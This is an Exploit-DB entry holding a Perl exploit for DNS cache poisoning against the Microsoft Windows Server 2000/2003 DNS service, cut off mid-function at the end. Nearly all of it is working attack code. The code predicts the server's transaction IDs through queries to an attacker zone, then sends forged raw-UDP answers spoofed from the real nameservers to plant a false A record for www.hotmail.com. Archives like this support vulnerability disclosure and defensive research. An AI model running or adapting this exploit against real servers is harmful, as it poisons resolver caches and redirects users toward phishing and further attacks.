Exploit-DB #30636
Description: Microsoft Windows Server 2000/2003 - Recursive DNS Spoofing (2)
Type: remote
Platform: windows
Date: 2007-11-13
Author: Alla Berzroutchko

Exploit:
source: https://www.securityfocus.com/bid/25919/info
 
Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.
 
A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing.

#!/usr/bin/perl

use strict;
use Net::DNS;
use Net::DNS::Nameserver;
use IO::Socket;
use Net::RawIP;

sub usage {
	print ("$0 is a program for DNS id spoofing.\n");
	print ("usage: $0 target tospoof ourzone port\n");
	print ("Example: $0 ns1.belbone.be www.hotmail.com .cache-poisoning.net 1025\n");
}

my($target, $tospoof, $ourzone, $query_port) = @ARGV;

$tospoof = "www.hotmail.com" unless($tospoof);
$ourzone = ".cache-poisoning.net" unless($ourzone);
$query_port = 53 unless($query_port);

if(!$target) {
	usage();
	die("You must specify target nameserver\n");
}

my($host, $domain) = split(/\./, $tospoof, 2);

my $client = IO::Socket::INET->new(PeerAddr => $target,
                                   PeerPort => 53,
                                   Proto   => "udp")
or die "Couldn't be a udp client on port 53 : $@\n";


my @nameservers = get_nameservers($domain);
#print join("\n",  @nameservers);
#exit;
cache_ns($client, $tospoof); # Make vitim cache ns record for name to spoof
my @ids = get_sequence($client, $ourzone);
my @replies = prepare_replies(\@nameservers, \@ids, $target, $tospoof);
send_request($client, $tospoof);
send_replies(@replies);

sub prepare_replies($$$$) {
	my($nameservers, $initial_ids, $target, $tospoof) = @_;

	my $totry = 500; # We will try 500 ids subsequent to the one we've got
	my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in
	my @replies;

	for my $i (1..$totry) {
            for my $id (@$initial_ids) {
		my $dns_packet = Net::DNS::Packet->new($tospoof);
		$dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip));
		$dns_packet->header->qr(1);
		$dns_packet->header->aa(1); # Authoritative
		$dns_packet->header->rd(1); # Recursion desired
		$dns_packet->header->ra(1); # Recursion available
		$dns_packet->header->id($id+$i);

		for my $nameserver(@$nameservers) {
			my $packet = new Net::RawIP({udp=>{}});
			$packet->set({ip=>{saddr=>$nameserver, daddr=>$target}, 
                                      udp=>{source=>53, dest=>$query_port, data=>$dns_packet->data()}
                                     });
			push @replies, $packet;
		}
            }
	}

	return @replies;
}

sub send_replies(@) {
	my @packets = @_;

	foreach my $packet(@packets) {
		$packet->send(0,2);
	}
}

sub send_request($$) {
	my($client, $tospoof) = @_;

	my $packet = Net::DNS::Packet->new($tospoof, "A");
	$client->send($packet->data()) or die "send: $!";
}

sub cache_ns($$) {
        my($client, $tospoof) = @_;
	my($host, $domain) = split(/\./, $tospoof, 2);

	my $packet = Net::DNS::Packet->new($domain, "NS");
        $client->send($packet->data()) or die "send: $!";
}

sub get_sequence($$) {
    my ($client, $ourzone) = @_;
    my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0",
                                            LocalPort        => "53",
                                            ReplyHandler =>  \&reply_handler,
                                            Verbose          => 0
    ) || die;
    my @ids;
    for(my $i=0; $i<50; $i++) {
         my $packet = Net::DNS::Packet->new("id$i$$".$ourzone);
         $client->send($packet->data()) or warn "Failed sending packet: $!";
         #print STDERR "Request sent\n";

        ## Wait for request from target nameserver
         sub reply_handler {
             my ($qname, $qclass, $qtype, $peerhost, $query) = @_;
             my ($rcode, @ans, @auth, @add);

             die sprintf "ID %d\n", $query->header->id;

         };
         eval {
             $SIG{ALRM} = sub { die "timeout\n"; };
             alarm(2);
             $server->main_loop();
         };
         alarm(0);

         if ($@ =~ /^timeout/) {
              next;
         };

         unless ($@ =~ /^ID (\d+)/) { die $@; };
         my $id = $1;
         push @ids, $id;
    }
    my @seq = analyse_ids(@ids);
    return @seq;
}

sub analyse_ids {
    my @ids = @_;

    my @seq; # Keeps the last seen number in each sequence
    my $counter = 0;
    my $num_seq = 8; # total number of sequences we track
    my $max_diff = 500; # maximum difference between two subsequent ids in one sequence
    id: for my $id (@ids) {
         for my $i (0..$num_seq) {
             if(defined($seq[$i]) && $seq[$i]<$id && $seq[$i]+$max_diff>$id) {
             # We have already seen numbers from this sequence
                  $seq[$i] = $id; 
                  $counter++;
                  next id;
             }
             if(defined($seq[$i]) && $seq[$i]>65535/4-$max_diff && $id < $max_diff) {
             # Sequence has wrapped
                  $seq[$i] = $id;
                  $counter++;
                  next id;
             }
             if(!defined($seq[$i])) {
             # We have not seen this sequence, and there are still free sequence slots
                  $seq[$i] = $id;
                  $counter++;
                  next id;
             }
         }
         $counter++;
     }
     return @seq;
}

sub get_nameservers($) {
	my $domain = shift;

	my $res   = Net::DNS::Resolver->new;
  	my $query = $res->query($domain, "NS");
	my @nameservers;
  
  	if ($query) {
      		foreach my $rr (grep { $_->type eq 'NS' } $query->answer) {
                        my $server = $rr->nsdname;
          		push @nameservers, host_to_ip($server);
			# Windows always uses first nameserver if available
			return @nameservers;
      		}
  	}
	return(@nameservers);
}

sub host_to_ip($) {
    my $hostname = shift;

    my $ip = join(".", unpac